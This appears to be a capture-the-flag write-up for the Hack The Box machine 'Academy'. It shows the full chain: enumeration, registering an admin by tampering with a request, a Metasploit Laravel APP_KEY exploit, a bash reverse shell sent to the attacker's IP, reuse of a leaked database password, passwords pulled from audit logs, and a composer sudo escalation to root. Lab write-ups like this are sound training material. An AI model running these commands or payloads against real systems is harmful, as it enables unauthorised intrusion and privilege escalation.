Academy - [HTB]

Cover Image for Academy - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    Academy is an easy linux machine where the attacker will have to find the way to register as administrator in the HTB Academy web page in order to get access to a "Launch Planner". Then, accessing to a subdomain the attacker will have to gather useful information for a metasploit exploit to get a reverse shell. After that, looking inside the web page files he or she will find some credentials that can be use to retrieve the user flag and finally, the hacker will have to look through a lot of logs as a means to get some credentials and the way to become root.

    Enumeration

    As always, let's begin looking for open ports in the machine.

    kali@kali:$ sudo nmap -sS -n -p- -T5 --open 10.10.10.215 -oN OpenPorts.txt
    [sudo] password for kali: 
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 14:28 EST
    Nmap scan report for 10.10.10.215
    Host is up (0.041s latency).
    Not shown: 65231 closed ports, 301 filtered ports
    Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
    PORT      STATE SERVICE
    22/tcp    open  ssh
    80/tcp    open  http
    33060/tcp open  mysqlx

    Then, analyzing what is inside these ports in order to find some domains, versions, etc.

    kali@kali:$ sudo nmap -sC -sV -p22,80,33060 10.10.10.215 -oN PortsInDepth.txt                                                                                                                 
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 14:33 EST                                                                                                                                                  
    Nmap scan report for academy.htb (10.10.10.215)                                                                     
    Host is up (0.041s latency).
    
    PORT      STATE SERVICE VERSION
    22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
    |   256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
    |_  256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
    80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Hack The Box Academy
    33060/tcp open  mysqlx?
    | fingerprint-strings: 
    |   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
    |     Invalid message"
    |_    HY000
    1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
    SF-Port33060-TCP:V=7.91%I=7%D=11/11%Time=5FAC3C99%P=x86_64-pc-linux-gnu%r(
    SF:NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b
    SF:\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPO
    SF:ptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0
    SF:b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVer
    SF:sionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,
    SF:2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0f
    SF:Invalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"
    SF:)%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x0
    SF:1\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCooki
    SF:e,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\
    SF:x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\
    SF:"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,
    SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05
    SF:\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY
    SF:000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString
    SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x
    SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
    SF:\x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOption
    SF:s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\
    SF:x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,
    SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x
    SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00
    SF:0")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\
    SF:0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
    SF:r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x
    SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
    SF:\x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 26.50 seconds

    Despite the version of the SSH and HTTP service doens't provide more useful information, so let's have a look at some web pages.

    Trying to get access to the web server with firefox, the server automatically redirects us to the domain academy.htb. Once added to the /etc/hosts file appears a HackTheBox page with login and register pages.

    Academy web page

    Using gobuster provides new files like admin.php. However, we don't have any credentials to get access to the administrator panel.

    kali@kali:$ gobuster dir -t 20  -u http://academy.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
    ===============================================================
    Gobuster v3.0.1
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
    ===============================================================
    [+] Url:            http://academy.htb/
    [+] Threads:        20
    [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Status codes:   200,204,301,302,307,401,403
    [+] User Agent:     gobuster/3.0.1
    [+] Extensions:     php,html,txt
    [+] Timeout:        10s
    ===============================================================
    2020/11/12 08:04:01 Starting gobuster
    ===============================================================
    /images (Status: 301)
    /register.php (Status: 200)
    /admin.php (Status: 200)
    /index.php (Status: 200)
    /login.php (Status: 200)
    /config.php (Status: 200)
    /home.php (Status: 302)
    /server-status (Status: 403)
    ===============================================================

    Explotation 1

    Nonetheless, we can create an administrator accounts by intercepting the register request using burpsuite, modifying the roleid value parameter by a 1.

    Academy login
    Burp interception

    Now, we are able to access to the admin's web page, obtaining a new domain (dev-staging-01.academy.htb) and what appears two user names (cry0l1t3 & mrb3n).

    Academy Launch Planner

    Accessing to this new domain, we obtain a lot of error logs and details about the web application.

    Log pannel

    The application use Laravel as application framework and it has an APP_KEY encoded in base64.

    APP_KEY

    Looking with searchsploit appears to be a metasploit module that can be used to obtain a reverse shell.

    Searchsploit

    Explotation 2

    The exploit options are the following

    msf6 > search laravel
    
    Matching Modules
    ================
    
       #  Name                                              Disclosure Date  Rank       Check  Description
       -  ----                                              ---------------  ----       -----  -----------
       0  exploit/unix/http/laravel_token_unserialize_exec  2018-08-07       excellent  Yes    PHP Laravel Framework token Unserialize Remote Command Execution
    
    
    Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/http/laravel_token_unserialize_exec
    
    msf6 > use 0
    [*] Using configured payload cmd/unix/reverse_perl
    msf6 exploit(unix/http/laravel_token_unserialize_exec) > show options
    
    Module options (exploit/unix/http/laravel_token_unserialize_exec):
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       APP_KEY                     no        The base64 encoded APP_KEY string from the .env file
       Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
       RPORT      80               yes       The target port (TCP)
       SSL        false            no        Negotiate SSL/TLS for outgoing connections
       TARGETURI  /                yes       Path to target webapp
       VHOST                       no        HTTP server virtual host
    
    
    Payload options (cmd/unix/reverse_perl):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST                   yes       The listen address (an interface may be specified)
       LPORT  4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic

    In order to make the exploit works (obtaintining a reverse shell) we need to specify the APP_KEY, RHOSTS, VHOST and LHOST (Our kali IP) parameters.

    msf5 exploit(unix/http/laravel_token_unserialize_exec) > set APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
    msf5 exploit(unix/http/laravel_token_unserialize_exec) > set RHOSTS 10.10.10.215
    msf5 exploit(unix/http/laravel_token_unserialize_exec) > set VHOST  dev-staging-01.academy.htb
    msf5 exploit(unix/http/laravel_token_unserialize_exec) > set LHOST  10.10.14.162
    msf6 exploit(unix/http/laravel_token_unserialize_exec) > run
    
    [*] Started reverse TCP handler on 10.10.14.162:4444 
    [*] Command shell session 1 opened (10.10.14.162:4444 -> 10.10.10.215:56876) at 2020-11-12 12:38:21 -0500
    
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

    Because the mestasploit shell is a little bit gunky, I'm going to use netcat, python and bash in order to create another reverse shell which I can upgrade to get a better experience with the shell.

    Upgrading the shell

    Kali:

    kali@kali:$ nc -nlvp 4445
    listening on [any] 4445 ...

    Academy:

    python3 -c 'import pty; pty.spawn("/bin/bash")'
    www-data@academy:/var/www/html/htb-academy-dev-01/public$ bash -i >& /dev/tcp/10.10.14.162/4445 0>&1

    Kali:

    www-data@academy:/var/www/html/htb-academy-dev-01/public$
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    [Crtl+z]
    stty raw -echo
    fg
    reset
    screen
    export TERM=screen
    export SHELL=/bin/bash
    stty rows 60 columns 235

    Now we are able to use Ctrl+C and the keyboard arrows.

    Privilege escalation 1

    Inside the file /var/www/html/academy/.env there is a credential for the local database.

    . . . 
    DB_CONNECTION=mysql
    DB_HOST=127.0.0.1
    DB_PORT=3306
    DB_DATABASE=academy
    DB_USERNAME=dev
    DB_PASSWORD=mySup3rP4s5w0rd!!
    . . . 

    The password can be used to access to the system as cry0l1t3, which is part of the group adm.

    www-data@academy:/var/www/html/htb-academy-dev-01/public$ su - cry0l1t3
    su - cry0l1t3
    Password: mySup3rP4s5w0rd!!
    id
    uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    cry0l1t3@academy:~$ 
    

    The adm group is used for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole. Historically, /var/log was /usr/adm (and later /var/adm), thus the name of the group.

    In the file /var/log/audit/audit.log.3 there are some commands or data which looks like be encoded in hexadecimal.

    grep -nv /usr/sbin/cron /var/log/audit/audit.log* | grep "cmd\|data"
    Encoded data

    Decoding the data into ASCII we obtain the following strings.

    su mrb3n
    mrb3n_Ac@d3my!
    /usr/bin/composer exec bash
    /usr/bin/composer exec sh
    composer exec bash -c "bash"
    /usr/bin/composer exec bash -c "bash" 
    /usr/bin/composer exec cp /bin/sh pwn; chmod u+s ./pwn 
    sudo -K

    Privilege escalation 2

    Now can we become the user mrb3n, who can execute the binary composer as root.

    $ /bin/bash -i
    mrb3n@academy:~$ sudo -l
    [sudo] password for mrb3n: 
    Matching Defaults entries for mrb3n on academy:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User mrb3n may run the following commands on academy:
        (ALL) /usr/bin/composer
    

    A quick search in GTFObins provides a quick way of getting a shell as root using composer.

    mrb3n@academy:~$ TF=$(mktemp -d)
    mrb3n@academy:~$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
    mrb3n@academy:~$ sudo composer --working-dir=$TF run-script x
    PHP Warning:  PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
    PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
    Do not run Composer as root/super user! See https://getcomposer.org/root for details
    > /bin/sh -i 0<&3 1>&3 2>&3
    # id
    uid=0(root) gid=0(root) groups=0(root)

    Finally, I will like to thank the members of NetOn who help me out solving this machine.